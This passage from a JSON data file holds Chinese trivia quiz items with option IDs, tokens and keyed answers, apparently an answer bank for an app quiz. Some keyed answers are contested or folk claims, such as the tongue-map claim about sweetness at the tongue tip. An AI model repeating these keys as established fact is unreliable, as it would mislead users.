16:47:31","status":"1"},{"questionId":"8701437777","questionIndex":"4","questionStem":"在糖水中加少量盐,尝起来会怎样?","options":"[{\"optionId\":\"I8MSx0BQiDmEmpw5qe8WhfIIWwo5qAkj5w\",\"optionDesc\":\"更甜\"},{\"optionId\":\"I8MSx0BQiDmEmpw5qe8WhvnrD_uibqKgsw\",\"optionDesc\":\"变咸\"},{\"optionId\":\"I8MSx0BQiDmEmpw5qe8Wh0mgDGObJEVIxw\",\"optionDesc\":\"变苦\"}]","questionToken":"I8MSx0BQiDmEmpxuuqcN16sfmCMz57tvB7EYI148vEFd3WudpFTk50EdbNO8SZHpD_DfEHAQ0lSUBmVLouk-xZfuQmVHdg","correct":"{\"optionId\":\"I8MSx0BQiDmEmpw5qe8WhfIIWwo5qAkj5w\",\"optionDesc\":\"更甜\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437778","questionIndex":"4","questionStem":"墨鱼在水中游泳的方向是什么方向?","options":"[{\"optionId\":\"I8MSx0BQiDmElZw5qe8WhUKB95R3VXAy256J\",\"optionDesc\":\"向后\"},{\"optionId\":\"I8MSx0BQiDmElZw5qe8WhjHSQm57dFcCvK-S\",\"optionDesc\":\"向前\"},{\"optionId\":\"I8MSx0BQiDmElZw5qe8Wh6-TEqZjgihtesEd\",\"optionDesc\":\"向左\"}]","questionToken":"I8MSx0BQiDmElZxuuqcN0Bsw7heIENiS_8GEv1o_1Bk4VcSFvWwqD2ctqeXtkpzvQeoy2all03URqA8kdiYxRV8Secznjg","correct":"{\"optionId\":\"I8MSx0BQiDmElZw5qe8WhUKB95R3VXAy256J\",\"optionDesc\":\"向后\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"8701437805","questionIndex":"5","questionStem":"动画《银魂》中Hata王子来自哪个星球?","options":"[{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neipJGdLKK1TcxDPdog\",\"optionDesc\":\"多古拉星\"},{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neNw8N8LH6h5aMfb4xA\",\"optionDesc\":\"央国星\"},{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1ne7FW1diGlCKzFn2-1w\",\"optionDesc\":\"翠星\"}]","questionToken":"I8MSx0BQiDYWGJWf-_V8KsiBSN3gq475C9Rv9nxT_Vdh0pOEhJUK6aijsX4SlhRm1hdtY73YPbFt7JuKCCTxfCE2rvqhNA","correct":"{\"optionId\":\"I8MSx0BQiDYWGJXJ6L1neNw8N8LH6h5aMfb4xA\",\"optionDesc\":\"央国星\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"8701437806","questionIndex":"4","questionStem":"动画《海贼王》从哪一年开播的?","options":"[{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1nenxfc627VuEGJwM\",\"optionDesc\":\"1998年\"},{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1neDfGHLO3HFXo1zw\",\"optionDesc\":\"1999年\"},{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1ne9g15laiX8eWp2E\",\"optionDesc\":\"2001年\"}]","questionToken":"I8MSx0BQiDYWG5We-_V8LRjV7_l_W_MzprLCaOpXz4Zwv4Z1aYIgsJDelOBlPIbd0MGoe_2EtyD5LoYEYCp7ZK7WkAjKqA","correct":"{\"optionId\":\"I8MSx0BQiDYWG5XJ6L1neDfGHLO3HFXo1zw\",\"optionDesc\":\"1999年\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"8701437807","questionIndex":"4","questionStem":"黑猫警长每集打四枪出现四个字是?","options":"[{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1ne1sCnFp8_Lb7TebxHw\",\"optionDesc\":\"保卫人民\"},{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neh1dozd7erMRncf4_Q\",\"optionDesc\":\"惩奸除恶\"},{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neNkYzLw6SwLmsepDQQ\",\"optionDesc\":\"请看下集\"}]","questionToken":"I8MSx0BQiDYWGpWe-_V8KvRkcbkWShEMyO1si7EGemkPsa6FAMsDyUL1DT9lvgPvCtod7X0uW5Z4cZ9_c8_0oechJpmcNg","correct":"{\"optionId\":\"I8MSx0BQiDYWGpXJ6L1neNkYzLw6SwLmsepDQQ\",\"optionDesc\":\"请看下集\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437808","questionIndex":"5","questionStem":"《鬼灭之刃》的主角叫什么?","options":"[{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1negM7qG-dL3pPJJLMFw\",\"optionDesc\":\"小楠\"},{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1ne2MQN7OLFMwgPLvqrA\",\"optionDesc\":\"琪琪子\"},{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1nePQ4dQDeVqXywq-zfg\",\"optionDesc\":\"炭治郎\"}]","questionToken":"I8MSx0BQiDYWFZWf-_V8LapfoHX0MOToEwNQfY6k8yOtylYOZrSxewGT203PoakVwot5h6xHvZOUQUm4hMFwigEGINx-dw","correct":"{\"optionId\":\"I8MSx0BQiDYWFZXJ6L1nePQ4dQDeVqXywq-zfg\",\"optionDesc\":\"炭治郎\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"8801427246","questionIndex":"3","questionStem":"人舌头的哪个部位对甜味最敏感?","options":"[{\"optionId\":\"I8wSx0BRiDylPUyioN9ay04kX6RMzFonNgc\",\"optionDesc\":\"舌尖\"},{\"optionId\":\"I8wSx0BRiDylPUyioN9ayco87N2zpRpMdIQ\",\"optionDesc\":\"舌中间\"},{\"optionId\":\"I8wSx0BRiDylPUyioN9ayElcrSTA7KX-iRU\",\"optionDesc\":\"舌两侧\"}]","questionToken":"I8wSx0BRiDylPUzys5dBnryc_bLW_Kp6av-pcNF5HfQ7B_qEkutyekOt865-OKXh4Z9RGQVDNKEVL3iTY1DoC5vChMr8GA","correct":"{\"optionId\":\"I8wSx0BRiDylPUyioN9ay04kX6RMzFonNgc\",\"optionDesc\":\"舌尖\"}","create_time":"27/1/2021 04:49:13","update_time":"27/1/2021 04:49:13","status":"1"},{"questionId":"8801427247","questionIndex":"3","questionStem":"感冒忌吃下列哪一种食物?","options":"[{\"optionId\":\"I8wSx0BRiDylPEyioN9ayMFzACuerqzQ08XnwQ\",\"optionDesc\":\"生姜\"},{\"optionId\":\"I8wSx0BRiDylPEyioN9ayfEiR8oYqK_znAqZDg\",\"optionDesc\":\"豆浆\"},{\"optionId\":\"I8wSx0BRiDylPEyioN9ayxiBlSeYXQ1oFn8JPQ\",\"optionDesc\":\"海鱼\"}]","questionToken":"I8wSx0BRiDylPEzys5dBmbZ1XAgE7aFC3LTMkfWuc5WE_3DNnYB2snyrspMqziigksjnGPYR9eAVKVjonNw9zQdOAetJSg","correct":"{\"optionId\":\"I8wSx0BRiDylPEyioN9ayxiBlSeYXQ1oFn8JPQ\",\"optionDesc\":\"海鱼\"}","create_time":"27/1/2021 04:26:02","update_time":"27/1/2021 04:26:02","status":"1"},{"questionId":"8801427248","questionIndex":"2","questionStem":"通常所说的“生命中枢”是指?","options":"[{\"optionId\":\"I8wSx0BRiDylM0yioN9ay4t_YescFZVdWhCP\",\"optionDesc\":\"延脑\"},{\"optionId\":\"I8wSx0BRiDylM0yioN9ayWCnHR7fYC9KbAJT\",\"optionDesc\":\"下丘脑\"},{\"optionId\":\"I8wSx0BRiDylM0yioN9ayCbrzHLhMNlCWVVk\",\"optionDesc\":\"中脑\"}]","questionToken":"I8wSx0BRiDylM0zzs5dBntKpg0eTl-A2GlLLHbEffQ1WhkdHNKkMc5qooyYP3QtZGC2fvPbbo-20rewUMtNNfSczsXFllg","correct":"{\"optionId\":\"I8wSx0BRiDylM0yioN9ay4t_YescFZVdWhCP\",\"optionDesc\":\"延脑\"}","create_time":"27/1/2021 04:43:50","update_time":"27/1/2021 04:43:50","status":"1"},{"questionId":"8801427249","questionIndex":"2","questionStem":"数学符号中的“0”起源于?","options":"[{\"optionId\":\"I8wSx0BRiDylMkyioN9ay5Ckgoa_rGX4f_M\",\"optionDesc\":\"古印度\"},{\"optionId\":\"I8wSx0BRiDylMkyioN9ayQsgh1pXa_uyXKs\",\"optionDesc\":\"古罗马\"},{\"optionId\":\"I8wSx0BRiDylMkyioN9ayNVkOZfJLwEoOJ8\",\"optionDesc\":\"古希腊\"}]","questionToken":"I8wSx0BRiDylMkzzs5dBnsJtKysoMenCpwhYtcMeSXsYcTGTRLKz2HoV_rAcWgP6CbqujlaXafntiSnxangWhH4xWEns0A","correct":"{\"optionId\":\"I8wSx0BRiDylMkyioN9ay5Ckgoa_rGX4f_M\",\"optionDesc\":\"古印度\"}","create_time":"27/1/2021 04:48:34","update_time":"27/1/2021 04:48:34","status":"1"},{"questionId":"8801427254","questionIndex":"4","questionStem":"牛的“年轮”长在哪里?","options":"[{\"optionId\":\"I8wSx0BRiDykP0yioN9ayW8sb1EnwLu4Dcsa\",\"optionDesc\":\"牛角上\"},{\"optionId\":\"I8wSx0BRiDykP0yioN9ay3E-mdNnOs-BCUsg\",\"optionDesc\":\"牙齿上\"},{\"optionId\":\"I8wSx0BRiDykP0yioN9ayARgSh-5eLZEOSq-\",\"optionDesc\":\"牛蹄上\"}]","questionToken":"I8wSx0BRiDykP0z1s5dBmXbJ6o7-nqaqYHwCBR3kpUv39J7z3AEuss1bYbWfkieO2FdrdarYa8WEJGAU7Qg4sQJ0ZHya4w","correct":"{\"optionId\":\"I8wSx0BRiDykP0yioN9ay3E-mdNnOs-BCUsg\",\"optionDesc\":\"牙齿上\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"8801427255","questionIndex":"5","questionStem":"下列哪种鸟会 “反哺”?","options":"[{\"optionId\":\"I8wSx0BRiDykPkyioN9ay-virBNkRB0K4sg\",\"optionDesc\":\"乌鸦\"},{\"optionId\":\"I8wSx0BRiDykPkyioN9ayGNRtIoWiJS9Mlg\",\"optionDesc\":\"燕子\"},{\"optionId\":\"I8wSx0BRiDykPkyioN9ayUTESin2S3go8MI\",\"optionDesc\":\"喜鹊\"}]","questionToken":"I8wSx0BRiDykPkz0s5dBmay_zv2jk1mVGEXJjCv5F8hrTwvrV8YQcYIe8WBioJvGDYYWeEGccxiqGvuRD4E8sNaHihv3tw","correct":"{\"optionId\":\"I8wSx0BRiDykPkyioN9ay-virBNkRB0K4sg\",\"optionDesc\":\"乌鸦\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801427256","questionIndex":"3","questionStem":"哪一种动物是“唯一能参加奥运会的动物”?","options":"[{\"optionId\":\"I8wSx0BRiDykPUyioN9ayU6vMt8OB65FIrrT\",\"optionDesc\":\"河马\"},{\"optionId\":\"I8wSx0BRiDykPUyioN9ayKY2OdcYaEYqmubP\",\"optionDesc\":\"猩猩\"},{\"optionId\":\"I8wSx0BRiDykPUyioN9ay6qDzR1alO-y_ul9\",\"optionDesc\":\"马\"}]","questionToken":"I8wSx0BRiDykPUzys5dBnksKupMPx3qtMl0N4f0v6dgpiauMBltewHbT_yiiBLKFDGHhzPUmLwzA643M3d011XtrX6Gv_g","correct":"{\"optionId\":\"I8wSx0BRiDykPUyioN9ay6qDzR1alO-y_ul9\",\"optionDesc\":\"马\"}","create_time":"27/1/2021 04:50:18","update_time":"27/1/2021 04:50:18","status":"1"},{"questionId":"8801427257","questionIndex":"5","questionStem":"吃虫最多的动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykPEyioN9aybRnB45JfEeRDAC2\",\"optionDesc\":\"鸡\"},{\"optionId\":\"I8wSx0BRiDykPEyioN9ay2j_rNCS_H2WXEjd\",\"optionDesc\":\"蝙蝠\"},{\"optionId\":\"I8wSx0BRiDykPEyioN9ayNrHBeNdUQ655hnk\",\"optionDesc\":\"啄木鸟\"}]","questionToken":"I8wSx0BRiDykPEz0s5dBnsIFAkM_SPtsHyxmVea00IHXfVPsfn8u5FtvlG5Dl-TZqxEzuo2eh9tn_frtjjyZgwJOPkYWcA","correct":"{\"optionId\":\"I8wSx0BRiDykPEyioN9ay2j_rNCS_H2WXEjd\",\"optionDesc\":\"蝙蝠\"}","create_time":"27/1/2021 04:35:41","update_time":"27/1/2021 04:35:41","status":"1"},{"questionId":"8801427258","questionIndex":"1","questionStem":"最大的两栖动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykM0yioN9ay9VKZhIFRJdUl6I6\",\"optionDesc\":\"娃娃鱼\"},{\"optionId\":\"I8wSx0BRiDykM0yioN9ayBeHUVxzymOpZiZO\",\"optionDesc\":\"蟾蜍\"},{\"optionId\":\"I8wSx0BRiDykM0yioN9aybJatm0M-qsg8N1M\",\"optionDesc\":\"角怪\"}]","questionToken":"I8wSx0BRiDykM0zws5dBnnSu9BIM4lEsXFFGnN8ULb00J8Y_WPuk0J3zzn-8w7uHZB3eQykyVjJyY7CXC3I_V6Nkpcr1_g","correct":"{\"optionId\":\"I8wSx0BRiDykM0yioN9ay9VKZhIFRJdUl6I6\",\"optionDesc\":\"娃娃鱼\"}","create_time":"27/1/2021 04:37:23","update_time":"27/1/2021 04:37:23","status":"1"},{"questionId":"8801427259","questionIndex":"2","questionStem":"下列动物中不能够眨眼的动物是?","options":"[{\"optionId\":\"I8wSx0BRiDykMkyioN9aycOaueYIpEDLSJym\",\"optionDesc\":\"青蛙\"},{\"optionId\":\"I8wSx0BRiDykMkyioN9ayK2LfhfFOl9puW7U\",\"optionDesc\":\"蜥蜴\"},{\"optionId\":\"I8wSx0BRiDykMkyioN9ayx0N1dDMCnGVJLIR\",\"optionDesc\":\"蛇\"}]","questionToken":"I8wSx0BRiDykMkzzs5dBnq7bp6s-JE0eMf9JA_g01xV18--PCivfmHePvjzVRyIwvjyOS9ex2vEYXJ1d3J8U92hMj7ERHg","correct":"{\"optionId\":\"I8wSx0BRiDykMkyioN9ayx0N1dDMCnGVJLIR\",\"optionDesc\":\"蛇\"}","create_time":"27/1/2021 04:38:23","update_time":"27/1/2021 04:38:23","status":"1"},{"questionId":"8801427262","questionIndex":"4","questionStem":"下列哪种动物不属于哺乳动物?","options":"[{\"optionId\":\"I8wSx0BRiDynOUyioN9ay2aO--eEY31LpXjzvQ\",\"optionDesc\":\"海龟\"},{\"optionId\":\"I8wSx0BRiDynOUyioN9ayJ6n-N6t-lfZx2AZRw\",\"optionDesc\":\"鲸\"},{\"optionId\":\"I8wSx0BRiDynOUyioN9ayfUS2hC4iaEPkEPGuA\",\"optionDesc\":\"袋鼠\"}]","questionToken":"I8wSx0BRiDynOUz1s5dBmQyqQ-bGYy2mvF-3nf_2eN5GR3Yr82LKMRETSqPc2Gtmu13d1pHV-P1q2F5421Lm5W4z6NpdFQ","correct":"{\"optionId\":\"I8wSx0BRiDynOUyioN9ay2aO--eEY31LpXjzvQ\",\"optionDesc\":\"海龟\"}","create_time":"27/1/2021 04:39:30","update_time":"27/1/2021 04:39:30","status":"1"},{"questionId":"8801427271","questionIndex":"5","questionStem":"蜗牛头上前面的一对“角”主要有什么作用?","options":"[{\"optionId\":\"I8wSx0BRiDymOkyioN9ayb2OjwQwragQjzU\",\"optionDesc\":\"捕食\"},{\"optionId\":\"I8wSx0BRiDymOkyioN9ayERMr72xsWgTxyc\",\"optionDesc\":\"爬行\"},{\"optionId\":\"I8wSx0BRiDymOkyioN9ayxNjy6yrysYly0Y\",\"optionDesc\":\"探路\"}]","questionToken":"I8wSx0BRiDymOkz0s5dBmXhryIxD07Bfb_PznrJm5SEqxNVgyEj5ussQzf-vmhhe2fA3YSxCkQoP5YsctJ2Jl-fhtY0ytQ","correct":"{\"optionId\":\"I8wSx0BRiDymOkyioN9ayxNjy6yrysYly0Y\",\"optionDesc\":\"探路\"}","create_time":"27/1/2021 04:38:36","update_time":"27/1/2021 04:38:36","status":"1"},{"questionId":"8801427272","questionIndex":"3","questionStem":"洗衣服时,用什么浸泡后再洗,不易掉色?","options":"[{\"optionId\":\"I8wSx0BRiDymOUyioN9ayTUTp5XZePxMRDwx\",\"optionDesc\":\"50%的盐水\"},{\"optionId\":\"I8wSx0BRiDymOUyioN9ay92yjhf-4AhErA-H\",\"optionDesc\":\"5%的盐水\"},{\"optionId\":\"I8wSx0BRiDymOUyioN9ayDqZfAkMRyXoUB_8\",\"optionDesc\":\"醋\"}]","questionToken":"I8wSx0BRiDymOUzys5dBmRkDCj5MBIhnfMURbZXAAs2TxKu6F5jE6jcLLBnK4OJkNF8zQZCamhRP97CCVSvZkromV2DLsQ","correct":"{\"optionId\":\"I8wSx0BRiDymOUyioN9ay92yjhf-4AhErA-H\",\"optionDesc\":\"5%的盐水\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"8801427814","questionIndex":"4","questionStem":"下列地点与电影奖搭配不正确的是?","options":"[{\"optionId\":\"I8wSx0BRiDah3PEWIb77q1f1SbtbI51Pbb8\",\"optionDesc\":\"洛杉矶一奥斯卡\"},{\"optionId\":\"I8wSx0BRiDah3PEWIb77qbBLBfdOAMTIxAc\",\"optionDesc\":\"柏林一圣马克金狮\"},{\"optionId\":\"I8wSx0BRiDah3PEWIb77qv1m4yruABQOxqs\",\"optionDesc\":\"戛纳一金棕榈\"}]","questionToken":"I8wSx0BRiDah3PFBMvbg_GqzQeH0zWjrzU7AZlgGnnkcfGtf-sRWsMI71zbdPun-JLCrm5eiPWEc5-0ghnijxc_Ek8xHlA","correct":"{\"optionId\":\"I8wSx0BRiDah3PEWIb77qbBLBfdOAMTIxAc\",\"optionDesc\":\"柏林一圣马克金狮\"}","create_time":"27/1/2021 04:48:42","update_time":"27/1/2021 04:48:42","status":"1"},{"questionId":"8801427815","questionIndex":"1","questionStem":"下半旗是把旗子下降到?","options":"[{\"optionId\":\"I8wSx0BRiDah3fEWIb77q5R_EbY6MQuqnlNSIQ\",\"optionDesc\":\"旗杆的一半处 \"},{\"optionId\":\"I8wSx0BRiDah3fEWIb77qt3h4GyJ4D-bAZTsog\",\"optionDesc\":\"下降1米\"},{\"optionId\":\"I8wSx0BRiDah3fEWIb77qXjM4AjD2qFfyxXsJA\",\"optionDesc\":\"距离杆顶的1/3处\"}]","questionToken":"I8wSx0BRiDah3fFEMvbg-4Akrl8Y7Y2Vn5KbMhZQXGGDljXtiyklfE8UjuYOpVp_sTAIsUj64GzugilpLSwZxFSegxdc4g","correct":"{\"optionId\":\"I8wSx0BRiDah3fEWIb77qXjM4AjD2qFfyxXsJA\",\"optionDesc\":\"距离杆顶的1/3处\"}","create_time":"27/1/2021 04:03:32","update_time":"27/1/2021 04:03:32","status":"1"},{"questionId":"8801427816","questionIndex":"2","questionStem":"人体最大的解毒器宫是?","options":"[{\"optionId\":\"I8wSx0BRiDah3vEWIb77qmTbhUyh0tyyYghWTg\",\"optionDesc\":\"肾脏\"},{\"optionId\":\"I8wSx0BRiDah3vEWIb77qaUdtaNn3wVBCtCcBg\",\"optionDesc\":\"肝脏\"},{\"optionId\":\"I8wSx0BRiDah3vEWIb77qzlQmbxS0UH1dyQa2A\",\"optionDesc\":\"脾\"}]","questionToken":"I8wSx0BRiDah3vFHMvbg_KucPFYTCpDJBrg3EGbrVcFwOMtOYKbT3MijDpTjMil5ZIzj6d6sPXeUFi_KPgKMm8EThEpmEw","correct":"{\"optionId\":\"I8wSx0BRiDah3vEWIb77qaUdtaNn3wVBCtCcBg\",\"optionDesc\":\"肝脏\"}","create_time":"27/1/2021 04:56:16","update_time":"27/1/2021 04:56:16","status":"1"},{"questionId":"8801428716","questionIndex":"3","questionStem":"满汉全席兴起于?","options":"[{\"optionId\":\"I8wSx0BRhzmQEsEb572V6wOiUtNM6XwzvNbS\",\"optionDesc\":\"宋代\"},{\"optionId\":\"I8wSx0BRhzmQEsEb572V6kQUBPn2786MW5hg\",\"optionDesc\":\"唐代\"},{\"optionId\":\"I8wSx0BRhzmQEsEb572V6R9gDtJXtEmQKZf6\",\"optionDesc\":\"清代\"}]","questionToken":"I8wSx0BRhzmQEsFL9PWOu4ClnkjCse9iADf5unkb1uZLyYjMMVOzEdbvx_jtwTIunxPL-9Sb0Kccq_-QczDIpi_gize7Ww","correct":"{\"optionId\":\"I8wSx0BRhzmQEsEb572V6R9gDtJXtEmQKZf6\",\"optionDesc\":\"清代\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"8801428717","questionIndex":"5","questionStem":"动物细胞中的“能量转换器”是?","options":"[{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6-MeR0R1g5Q85ZB2Cg\",\"optionDesc\":\"染色体\"},{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6YWzKRhs7OnxbZRrQA\",\"optionDesc\":\"线粒体\"},{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6k6e9hMDSMddy99BRA\",\"optionDesc\":\"叶绿体\"}]","questionToken":"I8wSx0BRhzmQE8FN9PWOuxpBvKbbbshXLUEyFII4uWoJBXZF8jJprDdDWbnPYQZRwAG2K6oD08a62cguVy3AApKyBjGtdg","correct":"{\"optionId\":\"I8wSx0BRhzmQE8Eb572V6YWzKRhs7OnxbZRrQA\",\"optionDesc\":\"线粒体\"}","create_time":"27/1/2021 04:26:04","update_time":"27/1/2021 04:26:04","status":"1"},{"questionId":"8801428718","questionIndex":"5","questionStem":"世界上最小的鸟是?","options":"[{\"optionId\":\"I8wSx0BRhzmQHMEb572V6RIj0CWtfrzyp-I\",\"optionDesc\":\"蜂鸟\"},{\"optionId\":\"I8wSx0BRhzmQHMEb572V65d5K_deXVIWJJQ\",\"optionDesc\":\"麻雀\"},{\"optionId\":\"I8wSx0BRhzmQHMEb572V6lR6z1aYrMbyqZU\",\"optionDesc\":\"百灵\"}]","questionToken":"I8wSx0BRhzmQHMFN9PWOvEhAlEWsDH5jO20iB6-X67k6RaHM7t92k4TbNbpBSgCdtYpxvPOXx9-aVKilcaa6U3rV9G10Tg","correct":"{\"optionId\":\"I8wSx0BRhzmQHMEb572V6RIj0CWtfrzyp-I\",\"optionDesc\":\"蜂鸟\"}","create_time":"27/1/2021 04:37:02","update_time":"27/1/2021 04:37:02","status":"1"},{"questionId":"8801428720","questionIndex":"4","questionStem":"以下动物中,一般寿命最长的是?","options":"[{\"optionId\":\"I8wSx0BRhzmTFMEb572V6YF1yTacar6Fjh2S\",\"optionDesc\":\"鸵鸟\"},{\"optionId\":\"I8wSx0BRhzmTFMEb572V65XMHkbSzk4kbFEd\",\"optionDesc\":\"企鹅\"},{\"optionId\":\"I8wSx0BRhzmTFMEb572V6u-QMfEUlyGMiviR\",\"optionDesc\":\"鸬鹚\"}]","questionToken":"I8wSx0BRhzmTFMFM9PWOvKcOKT_Y1yncNyr8qPDePM8c6tw5OvpDkHpNR17lsGLTIl0zQTkPpFxIlYjaynPoYpdXyDN-GQ","correct":"{\"optionId\":\"I8wSx0BRhzmTFMEb572V6YF1yTacar6Fjh2S\",\"optionDesc\":\"鸵鸟\"}","create_time":"27/1/2021 04:45:58","update_time":"27/1/2021 04:45:58","status":"1"},{"questionId":"8801428723","questionIndex":"2","questionStem":"蝗虫的“耳朵”长在哪里?","options":"[{\"optionId\":\"I8wSx0BRhzmTF8Eb572V68SFHYGq9np_7Is\",\"optionDesc\":\"头部\"},{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6qcb18tVa13QeAU\",\"optionDesc\":\"翅膀上\"},{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6cin9xMd-RStAhI\",\"optionDesc\":\"腹部\"}]","questionToken":"I8wSx0BRhzmTF8FK9PWOu1aVjs9l7mGo6PpnKuI0gZiiFacxofZ0tlUmcDXjYtRfpYCqGjU1G6hiOBLuY8rDcdDtGeOHqQ","correct":"{\"optionId\":\"I8wSx0BRhzmTF8Eb572V6cin9xMd-RStAhI\",\"optionDesc\":\"腹部\"}","create_time":"27/1/2021 04:39:19","update_time":"27/1/2021 04:39:19","status":"1"},{"questionId":"8801428724","questionIndex":"5","questionStem":"人体分解和代谢酒精的器官是?","options":"[{\"optionId\":\"I8wSx0BRhzmTEMEb572V6wEzlB3Y_b69ORWm\",\"optionDesc\":\"胃\"},{\"optionId\":\"I8wSx0BRhzmTEMEb572V6m9WouTJ9GHdIy8d\",\"optionDesc\":\"脾\"},{\"optionId\":\"I8wSx0BRhzmTEMEb572V6aM-QP7nf1yjYJCD\",\"optionDesc\":\"肝脏\"}]","questionToken":"I8wSx0BRhzmTEMFN9PWOvPFoseLsbpOOEpID7jswQdgrg2tCkFtmxAWccV2tL0H7U7lZcF6-MG8_xLbwSWj5pHI3__9-Vw","correct":"{\"optionId\":\"I8wSx0BRhzmTEMEb572V6aM-QP7nf1yjYJCD\",\"optionDesc\":\"肝脏\"}","create_time":"27/1/2021 04:42:52","update_time":"27/1/2021 04:42:52","status":"1"},{"questionId":"8801428725","questionIndex":"2","questionStem":"“蓬荜生辉”中的“蓬荜”原指房子的?","options":"[{\"optionId\":\"I8wSx0BRhzmTEcEb572V6aYeNCoGma6ltDi70A\",\"optionDesc\":\"门\"},{\"optionId\":\"I8wSx0BRhzmTEcEb572V6uFJKtOB2uW8iIqa3g\",\"optionDesc\":\"窗户\"},{\"optionId\":\"I8wSx0BRhzmTEcEb572V64_YqEg6sBQMzOylfg\",\"optionDesc\":\"房檐\"}]","questionToken":"I8wSx0BRhzmTEcFK9PWOu-ccn0jiZXiacp-iwbgieWRphvY5hx9U7YToCE6VCPCv5CPqlj_dGjEtqY1l8AwfGBm5kXcnsg","correct":"{\"optionId\":\"I8wSx0BRhzmTEcEb572V6aYeNCoGma6ltDi70A\",\"optionDesc\":\"门\"}","create_time":"27/1/2021 04:46:23","update_time":"27/1/2021 04:46:23","status":"1"},{"questionId":"8801428726","questionIndex":"1","questionStem":"最早的打字机是为谁设计的?","options":"[{\"optionId\":\"I8wSx0BRhzmTEsEb572V6Y-hwEiXWdWRChFY\",\"optionDesc\":\"盲人\"},{\"optionId\":\"I8wSx0BRhzmTEsEb572V69HfIA5-dUMmkCOG\",\"optionDesc\":\"作家\"},{\"optionId\":\"I8wSx0BRhzmTEsEb572V6obo8i4NyR4n23u4\",\"optionDesc\":\"商人\"}]","questionToken":"I8wSx0BRhzmTEsFJ9PWOvO2ZqnzmdLECt1ou1C2iXskRMg0vg4mjQoYKUmOHT1OlYTDgfCwa3vBrjcWjBYYkW1IAx3dWkQ","correct":"{\"optionId\":\"I8wSx0BRhzmTEsEb572V6Y-hwEiXWdWRChFY\",\"optionDesc\":\"盲人\"}","create_time":"27/1/2021 04:35:39","update_time":"27/1/2021 04:35:39","status":"1"},{"questionId":"8801428727","questionIndex":"2","questionStem":"如想去除衣服上的铁锈,应使用?","options":"[{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6daFZ5kH4VBUSIHgcA\",\"optionDesc\":\"草酸\"},{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6iF-0Ozv_qatulq_FQ\",\"optionDesc\":\"肥皂\"},{\"optionId\":\"I8wSx0BRhzmTE8Eb572V62N1lVAyCyjmHBlgiw\",\"optionDesc\":\"盐酸\"}]","questionToken":"I8wSx0BRhzmTE8FK9PWOvPvv3PAXa_LRYVYAJFVP41d-B5dc8c7jHLtxj1zf6SoD6lGhk7u39tOCjWMQNevMMBpnYT5l-Q","correct":"{\"optionId\":\"I8wSx0BRhzmTE8Eb572V6daFZ5kH4VBUSIHgcA\",\"optionDesc\":\"草酸\"}","create_time":"27/1/2021 04:44:39","update_time":"27/1/2021 04:44:39","status":"1"},{"questionId":"8801428728","questionIndex":"1","questionStem":"我国第一部由国家颁布的药典是?","options":"[{\"optionId\":\"I8wSx0BRhzmTHMEb572V6d_DFKqzj66Fp9U\",\"optionDesc\":\"《新修本草》\"},{\"optionId\":\"I8wSx0BRhzmTHMEb572V6oEPdy81XiZlgJQ\",\"optionDesc\":\"《本草纲目》\"},{\"optionId\":\"I8wSx0BRhzmTHMEb572V61QGR3pED3hXkN8\",\"optionDesc\":\"《诸病源候论》\"}]","questionToken":"I8wSx0BRhzmTHMFJ9PWOvGlBOfiSIynHV9DWwnOOIL0C8gWV09O_wnAdNWmqFosdP7AxsF5kx4pD6ImfbVSDW843X2szZw","correct":"{\"optionId\":\"I8wSx0BRhzmTHMEb572V6d_DFKqzj66Fp9U\",\"optionDesc\":\"《新修本草》\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"8801428729","questionIndex":"4","questionStem":"X射线照射会导致?","options":"[{\"optionId\":\"I8wSx0BRhzmTHcEb572V6TNoULbJ6fsAkS4\",\"optionDesc\":\"再生障碍性贫血\"},{\"optionId\":\"I8wSx0BRhzmTHcEb572V6qyCI2AF-0POQqQ\",\"optionDesc\":\"缺铁性贫血\"},{\"optionId\":\"I8wSx0BRhzmTHcEb572V60h82oPUkF-xf9k\",\"optionDesc\":\"溶血性贫血\"}]","questionToken":"I8wSx0BRhzmTHcFM9PWOvGZ-TgPlos0XD9CsUdfyES4HKYpM58MSwRueRncz61UBG9o5jrHjHOlQ1pex5PtxQPBKOokuhQ","correct":"{\"optionId\":\"I8wSx0BRhzmTHcEb572V6TNoULbJ6fsAkS4\",\"optionDesc\":\"再生障碍性贫血\"}","create_time":"27/1/2021 04:40:57","update_time":"27/1/2021 